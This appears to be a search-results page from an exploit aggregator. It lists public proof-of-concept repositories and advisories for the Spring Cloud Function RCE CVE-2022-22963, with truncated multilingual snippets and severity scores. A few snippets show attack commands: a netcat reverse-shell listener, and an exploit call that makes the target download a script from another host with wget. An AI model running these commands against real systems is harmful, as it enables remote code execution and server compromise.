Lucene search
+L

68 matches found

Kitploit
Kitploit
added 2026/09/15 8:36 p.m.593 views

spring4shell-scan

spring4shell-scan A fully automated, reliable, and accurate scanner for finding Spring4Shell and Spring Cloud RCE vulnerabilities Features Support for lists of URLs. Fuzzing for more than 10 new Spring4Shell payloads previously seen tools uses only 1-2 variants. Fuzzing for HTTP GET and POST...

5.5AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/15 8:17 p.m.7 views

Spring0DayCoreExploit

Spring Core RCE - CVE-2022-22963 Tras Spring Cloud, el 29 de marzo, otra vulnerabilidad de gran peso de Spring estalló en Internet: Spring Core RCE El poc de código en circulación: El exploit se ha subido comoexp.py El parche oficial de Spring también está en producción activa Enlaces del parche ...

9.8CVSS7.9AI score0.99938EPSS
SaveExploits37References1
Kitploit
Kitploit
added 2026/09/15 4:08 p.m.9 views

spring-cloud-function-rce

Spring Cloud Function SPEL表达式注入漏洞(CVE-2022-22963) Spring框架为现代基于java的企业应用程序在任何类型的部署平台上提供了一个全面的编程和配置模型。 Spring Cloud 中的 serveless框架 Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的“spring.cloud.function.routing-expression”参数作为 Spel 表达式进行处理,造成Spel表达式注入,攻击者可通过该漏洞执行任意代码。 影响范围:3.0.0.RELEASE...

9.8CVSS8AI score0.99938EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/15 10:26 a.m.8 views

SpringCloudFunction-Research

SpringCloudFunction-Research CVE-2022-22963 research Entorno vulfocus/spring-cloud-function-rce:latest Causa El problema de análisis del parámetro spring.cloud.function.routing-expression en el Request Header provoca un ataque de inyección de Payload. Referencias...

9.8CVSS7.8AI score0.99938EPSS
SaveExploits37References2
Kitploit
Kitploit
added 2026/09/15 7:13 a.m.8 views

CVE-2022-22963

CVE-2022-22963 利用 CVE-2022-22963 远程代码执行攻击 Spring Cloud 服务。 免责声明:本工具仅用于教育目的。作者不对本程序的使用承担任何责任。请自担风险使用。 用法 root@kitploit: ./CVE-2022-22963 -h Usage: CVE-2022-22963 OPTIONS Application Options: -u, --target-url= 目标/主机 URL,运行 'Spring Cloud' 的位置。示例:-t http://somesite.htb -p, --target-port= 运行服务的端口。示例:-...

9.8CVSS8AI score0.99938EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/15 6:06 a.m.8 views

CVE-2022-22963-POC

CVE-2022-22963 Exploit Descripción En Spring Cloud Function versiones 3.1.6, 3.2.2 y versiones anteriores no soportadas, al usar la funcionalidad de enrutamiento es posible que un usuario proporcione un SpEL especialmente manipulado como expresión de enrutamiento que puede resultar en ejecución...

9.8CVSS8AI score0.99938EPSS
SaveExploits37References1
Kitploit
Kitploit
added 2026/09/13 6:39 p.m.9 views

CVE-2022-22963_Reverse-Shell-Exploit

Exploit de Reverse Shell CVE-2022-22963 Este es un script de Python que explota CVE-2022-22963, una vulnerabilidad de ejecución remota de código en Spring Cloud Function que permite a los atacantes ejecutar código arbitrario en un servidor vulnerable. El exploit utiliza el endpoint /functionRoute...

9.8CVSS7.8AI score0.99938EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/13 3:19 p.m.5 views

CVE-2022-22963

此存储库没有 README。...

9.8CVSS7.6AI score0.99938EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/13 11:34 a.m.11 views

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Vulnerabilidad en Spring Cloud Function CVE-2022-22963 RCE Esta es una implementación en python de Spring4Shell, CVE-2022-22963, que afecta a servicios que ejecutan Spring Cloud Function =3.1.6 para 3.1.x y =3.2.2 para 3.2.x Combinación de múltiples POCs en línea Autor: Randall Banner Fecha:...

9.8CVSS7.8AI score0.99938EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/13 1:44 a.m.8 views

RCE-in-Spring-Cloud-CVE-2022-22963

Exploit para RCE en Spring Cloud CVE 2022-22963 Exploit para la ejecución remota de comandos CVE-2022-22963 en Spring Cloud Function Consulta los detalles sobre la vulnerabilidad aquí y aquí PoC Ejecuta netcat en tu host: root@kitploit: $ nc -lvnp 9001 Ejecuta el exploit ejemplo con el puerto...

9.8CVSS8AI score0.99938EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/12 2:20 p.m.7 views

CVE-2022-22963-Poc-Bearcules

CVE-2022-22963-Poc-Bearcules 这是针对 CVE-2022-22963 的 POC 我用 bash 编写。 我是脚本新手,这是我的第一个脚本 免责声明 对使用本 POC 造成的任何误用或滥用,我不承担任何责任。 仅供学习和教育用途 谢谢...

9.8CVSS7.8AI score0.99938EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/12 8:57 a.m.16 views

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE エクスプロイト これは、Spring4Shell(CVE-2022-22963)のPython実装です。この脆弱性は、Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed + Exploit completed $ python exploit.py...

9.8CVSS7.9AI score0.99938EPSS
SaveExploits37References1
Kitploit
Kitploit
added 2026/09/10 9:56 a.m.6 views

CVE-2022-22963

此存储库没有 README。...

9.8CVSS7.4AI score0.99938EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/09 2:04 p.m.7 views

CVE-2022-22963

此存储库没有 README。...

9.8CVSS7.4AI score0.99938EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/09 9:45 a.m.7 views

CVE-2022-22963

Este repositorio no tiene un README...

9.8CVSS7.4AI score0.99938EPSS
SaveExploits37
GithubExploit
GithubExploit
added 2024/05/08 4:25 a.m.520 views

Exploit for Code Injection in Vmware Spring_Cloud_Function

CVE-2022-22963 En las versiones 3.1.6, 3.2.2 y versiones anter...

9.8CVSS9.7AI score0.99938EPSS
SaveExploits37
Tenable Nessus
Tenable Nessus
added 2024/04/28 12:00 a.m.34 views

RHEL 8 : Release of OpenShift Serverless Client kn 1.21.1 (Low) (RHSA-2022:1291)

The remote Redhat Enterprise Linux 8 host has a package installed that is affected by a vulnerability as referenced in the RHSA-2022:1291 advisory. Red Hat OpenShift Serverless Client kn 1.21.1 provides a CLI to interact with Red Hat OpenShift Serverless 1.21.1. The kn CLI is delivered as an RPM...

9.8CVSS9.1AI score0.99938EPSS
SaveExploits37References11
GithubExploit
GithubExploit
added 2023/10/28 9:42 p.m.416 views

Exploit for Code Injection in Vmware Spring_Cloud_Function

CVE-2022-22963-Poc-Bearcules This is a POC for CVE-2022-229...

9.8CVSS9.5AI score0.99938EPSS
SaveExploits37
Packet Storm
Packet Storm
added 2023/07/12 12:00 a.m.436 views

Spring Cloud 3.2.2 Remote Command Execution

Exploit Title: Spring Cloud 3.2.2 - Remote Command Execution RCE Date: 07/07/2023 Exploit Author: GatoGamer1155, 0bfxgh0st Vendor Homepage: https://spring.io/projects/spring-cloud-function/ Description: Exploit to execute commands exploiting CVE-2022-22963 Software Link:...

9.8CVSS7.1AI score0.99938EPSS
SaveExploits37
Exploit DB
Exploit DB
added 2023/07/11 12:00 a.m.235 views

Spring Cloud 3.2.2 - Remote Command Execution (RCE)

Exploit Title: Spring Cloud 3.2.2 - Remote Command Execution RCE Date: 07/07/2023 Exploit Author: GatoGamer1155, 0bfxgh0st Vendor Homepage: https://spring.io/projects/spring-cloud-function/ Description: Exploit to execute commands exploiting CVE-2022-22963 Software Link:...

9.8CVSS7.5AI score0.99938EPSS
SaveExploits37
Rows per page
Query Builder